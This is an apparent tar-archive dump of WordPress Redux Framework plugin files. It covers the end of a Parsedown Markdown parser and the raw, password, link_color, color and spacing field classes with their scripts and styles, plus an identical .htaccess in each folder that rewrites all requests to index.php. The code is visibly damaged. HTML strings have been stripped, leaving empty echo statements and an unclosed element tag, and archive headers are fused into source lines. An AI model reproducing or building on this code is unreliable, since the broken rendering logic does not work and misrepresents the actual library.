($Excerpt['text'][1] === $marker and preg_match($this->StrongRegex[$marker], $Excerpt['text'], $matches)) { $emphasis = 'strong'; } elseif (preg_match($this->EmRegex[$marker], $Excerpt['text'], $matches)) { $emphasis = 'em'; } else { return; } return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => $emphasis, 'handler' => 'line', 'text' => $matches[1], ), ); } protected function inlineEscapeSequence($Excerpt) { if (isset($Excerpt['text'][1]) and in_array($Excerpt['text'][1], $this->specialCharacters)) { return array( 'markup' => $Excerpt['text'][1], 'extent' => 2, ); } } protected function inlineImage($Excerpt) { if ( ! isset($Excerpt['text'][1]) or $Excerpt['text'][1] !== '[') { return; } $Excerpt['text']= substr($Excerpt['text'], 1); $Link = $this->inlineLink($Excerpt); if ($Link === null) { return; } $Inline = array( 'extent' => $Link['extent'] + 1, 'element' => array( 'name' => 'img', 'attributes' => array( 'src' => $Link['element']['attributes']['href'], 'alt' => $Link['element']['text'], ), ), ); $Inline['element']['attributes'] += $Link['element']['attributes']; unset($Inline['element']['attributes']['href']); return $Inline; } protected function inlineLink($Excerpt) { $Element = array( 'name' => 'a', 'handler' => 'line', 'text' => null, 'attributes' => array( 'href' => null, 'title' => null, ), ); $extent = 0; $remainder = $Excerpt['text']; if (preg_match('/\[((?:[^][]++|(?R))*+)\]/', $remainder, $matches)) { $Element['text'] = $matches[1]; $extent += strlen($matches[0]); $remainder = substr($remainder, $extent); } else { return; } if (preg_match('/^[(]\s*+((?:[^ ()]++|[(][^ )]+[)])++)(?:[ ]+("[^"]*"|\'[^\']*\'))?\s*[)]/', $remainder, $matches)) { $Element['attributes']['href'] = $matches[1]; if (isset($matches[2])) { $Element['attributes']['title'] = substr($matches[2], 1, - 1); } $extent += strlen($matches[0]); } else { if (preg_match('/^\s*\[(.*?)\]/', $remainder, $matches)) { $definition = strlen($matches[1]) ? $matches[1] : $Element['text']; $definition = strtolower($definition); $extent += strlen($matches[0]); } else { $definition = strtolower($Element['text']); } if ( ! isset($this->DefinitionData['Reference'][$definition])) { return; } $Definition = $this->DefinitionData['Reference'][$definition]; $Element['attributes']['href'] = $Definition['url']; $Element['attributes']['title'] = $Definition['title']; } $Element['attributes']['href'] = str_replace(array('&', '<'), array('&', '<'), $Element['attributes']['href']); return array( 'extent' => $extent, 'element' => $Element, ); } protected function inlineMarkup($Excerpt) { if ($this->markupEscaped or strpos($Excerpt['text'], '>') === false) { return; } if ($Excerpt['text'][1] === '/' and preg_match('/^<\/\w*[ ]*>/s', $Excerpt['text'], $matches)) { return array( 'markup' => $matches[0], 'extent' => strlen($matches[0]), ); } if ($Excerpt['text'][1] === '!' and preg_match('/^/s', $Excerpt['text'], $matches)) { return array( 'markup' => $matches[0], 'extent' => strlen($matches[0]), ); } if ($Excerpt['text'][1] !== ' ' and preg_match('/^<\w*(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*\/?>/s', $Excerpt['text'], $matches)) { return array( 'markup' => $matches[0], 'extent' => strlen($matches[0]), ); } } protected function inlineSpecialCharacter($Excerpt) { if ($Excerpt['text'][0] === '&' and ! preg_match('/^&#?\w+;/', $Excerpt['text'])) { return array( 'markup' => '&', 'extent' => 1, ); } $SpecialCharacter = array('>' => 'gt', '<' => 'lt', '"' => 'quot'); if (isset($SpecialCharacter[$Excerpt['text'][0]])) { return array( 'markup' => '&'.$SpecialCharacter[$Excerpt['text'][0]].';', 'extent' => 1, ); } } protected function inlineStrikethrough($Excerpt) { if ( ! isset($Excerpt['text'][1])) { return; } if ($Excerpt['text'][1] === '~' and preg_match('/^~~(?=\S)(.+?)(?<=\S)~~/', $Excerpt['text'], $matches)) { return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'del', 'text' => $matches[1], 'handler' => 'line', ), ); } } protected function inlineUrl($Excerpt) { if ($this->urlsLinked !== true or ! isset($Excerpt['text'][2]) or $Excerpt['text'][2] !== '/') { return; } if (preg_match('/\bhttps?:[\/]{2}[^\s<]+\b\/*/ui', $Excerpt['context'], $matches, PREG_OFFSET_CAPTURE)) { $Inline = array( 'extent' => strlen($matches[0][0]), 'position' => $matches[0][1], 'element' => array( 'name' => 'a', 'text' => $matches[0][0], 'attributes' => array( 'href' => $matches[0][0], ), ), ); return $Inline; } } protected function inlineUrlTag($Excerpt) { if (strpos($Excerpt['text'], '>') !== false and preg_match('/^<(\w+:\/{2}[^ >]+)>/i', $Excerpt['text'], $matches)) { $url = str_replace(array('&', '<'), array('&', '<'), $matches[1]); return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'a', 'text' => $url, 'attributes' => array( 'href' => $url, ), ), ); } } # ~ protected function unmarkedText($text) { if ($this->breaksEnabled) { $text = preg_replace('/[ ]*\n/', "
    \n", $text); } else { $text = preg_replace('/(?:[ ][ ]+|[ ]*\\\\)\n/', "
    \n", $text); $text = str_replace(" \n", "\n", $text); } return $text; } # # Handlers # protected function element(array $Element) { $markup = '<'.$Element['name']; if (isset($Element['attributes'])) { foreach ($Element['attributes'] as $name => $value) { if ($value === null) { continue; } $markup .= ' '.$name.'="'.$value.'"'; } } if (isset($Element['text'])) { $markup .= '>'; if (isset($Element['handler'])) { $markup .= $this->{$Element['handler']}($Element['text']); } else { $markup .= $Element['text']; } $markup .= ''; } else { $markup .= ' />'; } return $markup; } protected function elements(array $Elements) { $markup = ''; foreach ($Elements as $Element) { $markup .= "\n" . $this->element($Element); } $markup .= "\n"; return $markup; } # ~ protected function li($lines) { $markup = $this->lines($lines); $trimmedMarkup = trim($markup); if ( ! in_array('', $lines) and substr($trimmedMarkup, 0, 3) === '

    ') { $markup = $trimmedMarkup; $markup = substr($markup, 3); $position = strpos($markup, "

    "); $markup = substr_replace($markup, '', $position, 4); } return $markup; } # # Deprecated Methods # function parse($text) { $markup = $this->text($text); return $markup; } # # Static Methods # static function instance($name = 'default') { if (isset(self::$instances[$name])) { return self::$instances[$name]; } $instance = new static(); self::$instances[$name] = $instance; return $instance; } private static $instances = array(); # # Fields # protected $DefinitionData; # # Read-Only protected $specialCharacters = array( '\\', '`', '*', '_', '{', '}', '[', ']', '(', ')', '>', '#', '+', '-', '.', '!', '|', ); protected $StrongRegex = array( '*' => '/^[*]{2}((?:\\\\\*|[^*]|[*][^*]*[*])+?)[*]{2}(?![*])/s', '_' => '/^__((?:\\\\_|[^_]|_[^_]*_)+?)__(?!_)/us', ); protected $EmRegex = array( '*' => '/^[*]((?:\\\\\*|[^*]|[*][*][^*]+?[*][*])+?)[*](?![*])/s', '_' => '/^_((?:\\\\_|[^_]|__[^_]*__)+?)_(?!_)\b/us', ); protected $regexHtmlAttribute = '[a-zA-Z_:][\w:.-]*(?:\s*=\s*(?:[^"\'=<>`\s]+|"[^"]*"|\'[^\']*\'))?'; protected $voidElements = array( 'area', 'base', 'br', 'col', 'command', 'embed', 'hr', 'img', 'input', 'link', 'meta', 'param', 'source', ); protected $textLevelElements = array( 'a', 'br', 'bdo', 'abbr', 'blink', 'nextid', 'acronym', 'basefont', 'b', 'em', 'big', 'cite', 'small', 'spacer', 'listing', 'i', 'rp', 'del', 'code', 'strike', 'marquee', 'q', 'rt', 'ins', 'font', 'strong', 's', 'tt', 'kbd', 'mark', 'u', 'xm', 'sub', 'nobr', 'sup', 'ruby', 'var', 'span', 'wbr', 'time', ); } lib/redux-framework/inc/fields/raw/field_raw.php000064400000004027147206624460015727 0ustar00parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function render() { if ( ! empty( $this->field['include'] ) && file_exists( $this->field['include'] ) ) { require_once $this->field['include']; } if ( isset( $this->field['content_path'] ) && ! empty( $this->field['content_path'] ) && file_exists( $this->field['content_path'] ) ) { $this->field['content'] = $this->parent->filesystem->execute( 'get_contents', $this->field['content_path'] ); } if ( ! empty( $this->field['content'] ) && isset( $this->field['content'] ) ) { if ( isset( $this->field['markdown'] ) && $this->field['markdown'] == true && ! empty( $this->field['content'] ) ) { require_once dirname( __FILE__ ) . "/parsedown.php"; $Parsedown = new Parsedown(); echo $Parsedown->text( $this->field['content'] ); } else { echo $this->field['content']; } } do_action( 'redux-field-raw-' . $this->parent->args['opt_name'] . '-' . $this->field['id'] ); } } }lib/redux-framework/inc/fields/raw/.htaccess000064400000001626147206624460015062 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/password/.htaccess000064400000001626147206624460016133 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/password/field_password.php000064400000010640147206624460020047 0ustar00parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.1 */ function render() { if ( ! empty( $this->field['username'] ) && $this->field['username'] === true ) { $this->_render_combined_field(); } else { $this->_render_single_field(); } } /** * This will render a combined User/Password field * * @since ReduxFramework 3.0.9 * @example * * array( * 'id' => 'smtp_account', * 'type' => 'password', * 'username' => true, * 'title' => 'SMTP Account', * 'placeholder' => array('username' => 'Username') * ) * */ private function _render_combined_field() { $defaults = array( 'username' => '', 'password' => '', 'placeholder' => array( 'password' => __( 'Password', 'redux-framework' ), 'username' => __( 'Username', 'redux-framework' ) ) ); $this->value = wp_parse_args( $this->value, $defaults ); if ( ! empty( $this->field['placeholder'] ) ) { if ( is_array( $this->field['placeholder'] ) ) { if ( ! empty( $this->field['placeholder']['password'] ) ) { $this->value['placeholder']['password'] = $this->field['placeholder']['password']; } if ( ! empty( $this->field['placeholder']['username'] ) ) { $this->value['placeholder']['username'] = $this->field['placeholder']['username']; } } else { $this->value['placeholder']['password'] = $this->field['placeholder']; } } // Username field echo ' '; // Password field echo ''; } /** * This will render a single Password field * * @since ReduxFramework 3.0.9 * @example * * array( * 'id' => 'smtp_password', * 'type' => 'password', * 'title' => 'SMTP Password' * ) * */ private function _render_single_field() { echo ''; } } }lib/redux-framework/inc/fields/link_color/field_link_color.css.map000064400000000273147206624460021407 0ustar00{ "version": 3, "mappings": "AACI,sCAAW;EACP,OAAO,EAAE,YAAY;EACrB,aAAa,EAAE,IAAI;EACnB,cAAc,EAAE,GAAG", "sources": ["field_link_color.scss"], "names": [], "file": "field_link_color.css" }lib/redux-framework/inc/fields/link_color/field_link_color.min.js000064400000003162147206624460021241 0ustar00!function(i){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.link_color=redux.field_objects.link_color||{},i(document).ready(function(){}),redux.field_objects.link_color.init=function(e){e||(e=i(document).find(".redux-container-link_color:visible")),i(e).each(function(){var n=i(this),e=n;n.hasClass("redux-field-container")||(e=n.parents(".redux-field-container:first")),e.is(":hidden")||e.hasClass("redux-field-init")&&(e.removeClass("redux-field-init"),n.find(".redux-color-init").wpColorPicker({change:function(e,t){i(this).val(t.color.toString()),redux_change(i(this)),n.find("#"+e.target.getAttribute("data-id")+"-transparency").removeAttr("checked")},clear:function(e,t){i(this).val(t.color.toString()),redux_change(i(this).parent().find(".redux-color-init"))}}),n.find(".redux-color").on("keyup",function(){var e=i(this).val(),t=colorValidate(this),r="#"+i(this).attr("id");"transparent"===e?(i(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),n.find(r+"-transparency").attr("checked","checked")):(n.find(r+"-transparency").removeAttr("checked"),t&&t!==i(this).val()&&i(this).val(t))}),n.find(".redux-color").on("blur",function(){var e=i(this).val(),t="#"+i(this).attr("id");"transparent"===e?(i(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),n.find(t+"-transparency").attr("checked","checked")):(colorValidate(this)===e&&0!==e.indexOf("#")&&i(this).val(i(this).data("oldcolor")),n.find(t+"-transparency").removeAttr("checked"))}),n.find(".redux-color").on("keydown",function(){i(this).data("oldkeypress",i(this).val())}))})}}(jQuery);lib/redux-framework/inc/fields/link_color/field_link_color.css000064400000000357147206624460020636 0ustar00.redux-container-link_color .linkColor{display:inline-block;padding-right:10px;padding-bottom:7px}.redux-container-link_color .linkColor strong{display:table;margin-bottom:5px;margin-left:3px;font-size:12px;font-weight:normal;color:#999} lib/redux-framework/inc/fields/link_color/field_link_color.php000064400000025713147206624460020640 0ustar00. * * @package ReduxFramework * @subpackage Field_Link_Color * @author Luciano "WebCaos" Ubertini * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @author Kevin Provance (kprovance) * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_link_color' ) ) { /** * Main ReduxFramework_link_color class * * @since 1.0.0 */ class ReduxFramework_link_color { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; $defaults = array( 'regular' => true, 'hover' => true, 'visited' => false, 'active' => true, 'focus' => false ); $this->field = wp_parse_args( $this->field, $defaults ); $defaults = array( 'regular' => '', 'hover' => '', 'visited' => '', 'active' => '', 'focus' => '' ); $this->value = wp_parse_args( $this->value, $defaults ); // In case user passes no default values. if ( isset( $this->field['default'] ) ) { $this->field['default'] = wp_parse_args( $this->field['default'], $defaults ); } else { $this->field['default'] = $defaults; } } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { if ( $this->field['regular'] === true && $this->field['default']['regular'] !== false ) { echo '' . __( 'Regular', 'redux-framework' ) . ' '; } if ( $this->field['hover'] === true && $this->field['default']['hover'] !== false ) { echo '' . __( 'Hover', 'redux-framework' ) . ' '; } if ( $this->field['visited'] === true && $this->field['default']['visited'] !== false ) { echo '' . __( 'Visited', 'redux-framework' ) . ' '; } if ( $this->field['active'] === true && $this->field['default']['active'] !== false ) { echo '' . __( 'Active', 'redux-framework' ) . ' '; } if ( $this->field['focus'] === true && $this->field['default']['focus'] !== false ) { echo '' . __( 'Focus', 'redux-framework' ) . ' '; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'redux-field-link-color-js', ReduxFramework::$_url . 'inc/fields/link_color/field_link_color' . Redux_Functions::isMin() . '.js', array( 'jquery', 'wp-color-picker', 'redux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-color-picker-css' ); wp_enqueue_style( 'redux-field-link_color-js', ReduxFramework::$_url . 'inc/fields/link_color/field_link_color.css', array(), time(), 'all' ); } } public function output() { $style = array(); if ( ! empty( $this->value['regular'] ) && $this->field['regular'] === true && $this->field['default']['regular'] !== false ) { $style[] = 'color:' . $this->value['regular'] . ';'; } if ( ! empty( $this->value['visited'] ) && $this->field['visited'] === true && $this->field['default']['visited'] !== false ) { $style['visited'] = 'color:' . $this->value['visited'] . ';'; } if ( ! empty( $this->value['hover'] ) && $this->field['hover'] === true && $this->field['default']['hover'] !== false ) { $style['hover'] = 'color:' . $this->value['hover'] . ';'; } if ( ! empty( $this->value['active'] ) && $this->field['active'] === true && $this->field['default']['active'] !== false ) { $style['active'] = 'color:' . $this->value['active'] . ';'; } if ( ! empty( $this->value['focus'] ) && $this->field['focus'] === true && $this->field['default']['focus'] !== false ) { $style['focus'] = 'color:' . $this->value['focus'] . ';'; } if ( ! empty( $style ) ) { if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $styleString = ""; foreach ( $style as $key => $value ) { if ( is_numeric( $key ) ) { $styleString .= implode( ",", $this->field['output'] ) . "{" . $value . '}'; } else { if ( count( $this->field['output'] ) == 1 ) { foreach($this->field['output'] as $sel => $elem) { continue; } if (strpos($elem, ',') != false) { $selector_arr = explode(',',$elem); $sel_list = ''; foreach($selector_arr as $idx => $selector) { $sel_list .= $selector . ":" . $key . ","; } $sel_list = rtrim($sel_list,','); $styleString .= $sel_list . "{" . $value . '}'; } else { $styleString .= $elem . ":" . $key . "{" . $value . '}'; } } else { $blah = ''; foreach($this->field['output'] as $k => $sel) { $blah .= $sel . ':' . $key . ','; } $blah = substr($blah, 0, strlen($blah) - 1); $styleString .= $blah . '{' . $value . '}'; } } } $this->parent->outputCSS .= $styleString; } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $styleString = ""; foreach ( $style as $key => $value ) { if ( is_numeric( $key ) ) { $styleString .= implode( ",", $this->field['compiler'] ) . "{" . $value . '}'; } else { if ( count( $this->field['compiler'] ) == 1 ) { $styleString .= $this->field['compiler'][0] . ":" . $key . "{" . $value . '}'; } else { $blah = ''; foreach($this->field['compiler'] as $k => $sel) { $blah .= $sel . ':' . $key . ','; } $blah = substr($blah, 0, strlen($blah) - 1); $styleString .= $blah . '{' . $value . '}'; } } } $this->parent->compilerCSS .= $styleString; } } } } }lib/redux-framework/inc/fields/link_color/field_link_color.js000064400000007763147206624460020472 0ustar00/* Field Link Color */ /*global jQuery, document, redux_change, redux*/ (function( $ ) { 'use strict'; redux.field_objects = redux.field_objects || {}; redux.field_objects.link_color = redux.field_objects.link_color || {}; $( document ).ready( function() { } ); redux.field_objects.link_color.init = function( selector ) { if ( !selector ) { selector = $( document ).find( '.redux-container-link_color:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( '.redux-color-init' ).wpColorPicker( { change: function( e, ui ) { $( this ).val( ui.color.toString() ); redux_change( $( this ) ); el.find( '#' + e.target.getAttribute( 'data-id' ) + '-transparency' ).removeAttr( 'checked' ); }, clear: function( e, ui ) { $( this ).val( ui.color.toString() ); redux_change( $( this ).parent().find( '.redux-color-init' ) ); } } ); el.find( '.redux-color' ).on( 'keyup', function() { var value = $( this ).val(); var color = colorValidate( this ); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { el.find( id + '-transparency' ).removeAttr( 'checked' ); if ( color && color !== $( this ).val() ) { $( this ).val( color ); } } } ); // Replace and validate field on blur el.find( '.redux-color' ).on( 'blur', function() { var value = $( this ).val(); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { if ( colorValidate( this ) === value ) { if ( value.indexOf( "#" ) !== 0 ) { $( this ).val( $( this ).data( 'oldcolor' ) ); } } el.find( id + '-transparency' ).removeAttr( 'checked' ); } } ); // Store the old valid color on keydown el.find( '.redux-color' ).on( 'keydown', function() { $( this ).data( 'oldkeypress', $( this ).val() ); } ); } ); }; })( jQuery ); lib/redux-framework/inc/fields/link_color/field_link_color.scss000064400000000562147206624460021017 0ustar00.redux-container-link_color { .linkColor { display: inline-block; padding-right: 10px; padding-bottom: 7px; strong { display: table; margin-bottom: 5px; margin-left: 3px; font-size: 12px; font-weight: normal; color: #999; } } } lib/redux-framework/inc/fields/link_color/.htaccess000064400000001626147206624460016424 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/color/field_color.php000064400000011161147206624460016576 0ustar00. * * @package ReduxFramework * @subpackage Field_Color * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_color' ) ) { /** * Main ReduxFramework_color class * * @since 1.0.0 */ class ReduxFramework_color { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field , $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { echo ''; echo ''; if ( ! isset( $this->field['transparent'] ) || $this->field['transparent'] !== false ) { $tChecked = ""; if ( $this->value == "transparent" ) { $tChecked = ' checked="checked"'; } echo ''; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-color-picker-css' ); } wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'redux-field-color-js', ReduxFramework::$_url . 'inc/fields/color/field_color' . Redux_Functions::isMin() . '.js', array( 'jquery', 'wp-color-picker', 'redux-js' ), time(), true ); } public function output() { $style = ''; if ( ! empty( $this->value ) ) { $mode = ( isset( $this->field['mode'] ) && ! empty( $this->field['mode'] ) ? $this->field['mode'] : 'color' ); $style .= $mode . ':' . $this->value . ';'; if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $css = Redux_Functions::parseCSS( $this->field['output'], $style, $this->value ); $this->parent->outputCSS .= $css; } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $css = Redux_Functions::parseCSS( $this->field['compiler'], $style, $this->value ); $this->parent->compilerCSS .= $css; } } } } } lib/redux-framework/inc/fields/color/field_color.js000064400000017146147206624460016434 0ustar00/* Field Color (color) */ /*global jQuery, document, redux_change, redux*/ (function( $ ) { 'use strict'; redux.field_objects = redux.field_objects || {}; redux.field_objects.color = redux.field_objects.color || {}; $( document ).ready( function() { } ); redux.field_objects.color.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-color:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } // var $control = el.find( '.redux-color-init' ), // // value = $control.val().replace( /\s+/g, '' ), // alpha_val = 100, // $alpha, $alpha_output; // //console.log($control); // if ( value.match( /rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/ ) ) { // alpha_val = parseFloat( value.match( /rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/ )[ 1 ] ) * 100; // } el.find( '.redux-color-init' ).wpColorPicker( { change: function( e, ui ) { $( this ).val( ui.color.toString() ); redux_change( $( this ) ); el.find( '#' + e.target.getAttribute( 'data-id' ) + '-transparency' ).removeAttr( 'checked' ); }, clear: function( e, ui ) { $( this ).val( '' ); redux_change( $( this ).parent().find( '.redux-color-init' ) ); } } ); // $( '
    ' // + '' // + '' // + '
    ' ).appendTo( $control.parents( '.wp-picker-container:first' ).addClass( 'vc_color-picker' ).find( '.iris-picker' ) ); // $alpha = $control.parents( '.wp-picker-container:first' ).find( '.vc_alpha-field' ); // //console.log($alpha); // $alpha_output = $control.parents( '.wp-picker-container:first' ).find( '.redux-alpha-container output' ); // $alpha.bind( 'change keyup', function () { // var alpha_val = parseFloat( $alpha.val() ), // iris = $control.data( 'a8cIris' ), // color_picker = $control.data( 'wp-wpColorPicker' ); // //console.log(alpha_val); // $alpha_output.val( $alpha.val() + '%' ); // console.log(alpha_val / 100.0); // iris._color._alpha = parseFloat(alpha_val / 100.0); // console.log(iris._color); // //$control.val( iris._color.toString() ); // el.find( '.redux-color-init' ).wpColorPicker( 'color', iris._color.toString() ); // //console.log($control.val()); // //color_picker.toggler.css( { backgroundColor: $control.val() } ); // } ).val( alpha_val ).trigger( 'change' ); el.find( '.redux-color' ).on( 'focus', function() { $( this ).data( 'oldcolor', $( this ).val() ); } ); el.find( '.redux-color' ).on( 'keyup', function() { var value = $( this ).val(); var color = colorValidate( this ); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { el.find( id + '-transparency' ).removeAttr( 'checked' ); if ( color && color !== $( this ).val() ) { $( this ).val( color ); } } } ); // Replace and validate field on blur el.find( '.redux-color' ).on( 'blur', function() { var value = $( this ).val(); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { if ( colorValidate( this ) === value ) { if ( value.indexOf( "#" ) !== 0 ) { $( this ).val( $( this ).data( 'oldcolor' ) ); } } el.find( id + '-transparency' ).removeAttr( 'checked' ); } } ); // Store the old valid color on keydown el.find( '.redux-color' ).on( 'keydown', function() { $( this ).data( 'oldkeypress', $( this ).val() ); } ); // When transparency checkbox is clicked el.find( '.color-transparency' ).on( 'click', function() { if ( $( this ).is( ":checked" ) ) { el.find( '.redux-saved-color' ).val( $( '#' + $( this ).data( 'id' ) ).val() ); el.find( '#' + $( this ).data( 'id' ) ).val( 'transparent' ); el.find( '#' + $( this ).data( 'id' ) ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); } else { if ( el.find( '#' + $( this ).data( 'id' ) ).val() === 'transparent' ) { var prevColor = $( '.redux-saved-color' ).val(); if ( prevColor === '' ) { prevColor = $( '#' + $( this ).data( 'id' ) ).data( 'default-color' ); } el.find( '#' + $( this ).data( 'id' ) ).parent().parent().find( '.wp-color-result' ).css( 'background-color', prevColor ); el.find( '#' + $( this ).data( 'id' ) ).val( prevColor ); } } redux_change( $( this ) ); } ); } ); }; })( jQuery );lib/redux-framework/inc/fields/color/field_color.min.js000064400000004467147206624460017220 0ustar00!function(n){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.color=redux.field_objects.color||{},n(document).ready(function(){}),redux.field_objects.color.init=function(t){t||(t=n(document).find(".redux-group-tab:visible").find(".redux-container-color:visible")),n(t).each(function(){var i=n(this),t=i;i.hasClass("redux-field-container")||(t=i.parents(".redux-field-container:first")),t.is(":hidden")||t.hasClass("redux-field-init")&&(t.removeClass("redux-field-init"),i.find(".redux-color-init").wpColorPicker({change:function(t,r){n(this).val(r.color.toString()),redux_change(n(this)),i.find("#"+t.target.getAttribute("data-id")+"-transparency").removeAttr("checked")},clear:function(t,r){n(this).val(""),redux_change(n(this).parent().find(".redux-color-init"))}}),i.find(".redux-color").on("focus",function(){n(this).data("oldcolor",n(this).val())}),i.find(".redux-color").on("keyup",function(){var t=n(this).val(),r=colorValidate(this),e="#"+n(this).attr("id");"transparent"===t?(n(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),i.find(e+"-transparency").attr("checked","checked")):(i.find(e+"-transparency").removeAttr("checked"),r&&r!==n(this).val()&&n(this).val(r))}),i.find(".redux-color").on("blur",function(){var t=n(this).val(),r="#"+n(this).attr("id");"transparent"===t?(n(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),i.find(r+"-transparency").attr("checked","checked")):(colorValidate(this)===t&&0!==t.indexOf("#")&&n(this).val(n(this).data("oldcolor")),i.find(r+"-transparency").removeAttr("checked"))}),i.find(".redux-color").on("keydown",function(){n(this).data("oldkeypress",n(this).val())}),i.find(".color-transparency").on("click",function(){if(n(this).is(":checked"))i.find(".redux-saved-color").val(n("#"+n(this).data("id")).val()),i.find("#"+n(this).data("id")).val("transparent"),i.find("#"+n(this).data("id")).parent().parent().find(".wp-color-result").css("background-color","transparent");else if("transparent"===i.find("#"+n(this).data("id")).val()){var t=n(".redux-saved-color").val();""===t&&(t=n("#"+n(this).data("id")).data("default-color")),i.find("#"+n(this).data("id")).parent().parent().find(".wp-color-result").css("background-color",t),i.find("#"+n(this).data("id")).val(t)}redux_change(n(this))}))})}}(jQuery);lib/redux-framework/inc/fields/color/.htaccess000064400000001626147206624460015407 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/spacing/field_spacing.min.js000064400000002514147206624460020023 0ustar00!function(d){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.spacing=redux.field_objects.spacing||{},d(document).ready(function(){}),redux.field_objects.spacing.init=function(i){i||(i=d(document).find(".redux-group-tab:visible").find(".redux-container-spacing:visible")),d(i).each(function(){var i=d(this),e=i;if(i.hasClass("redux-field-container")||(e=i.parents(".redux-field-container:first")),!e.is(":hidden")&&e.hasClass("redux-field-init")){e.removeClass("redux-field-init");var n={width:"resolve",triggerChange:!0,allowClear:!0},s=i.find(".select2_params");if(0
    '; echo '
     
    '; echo '
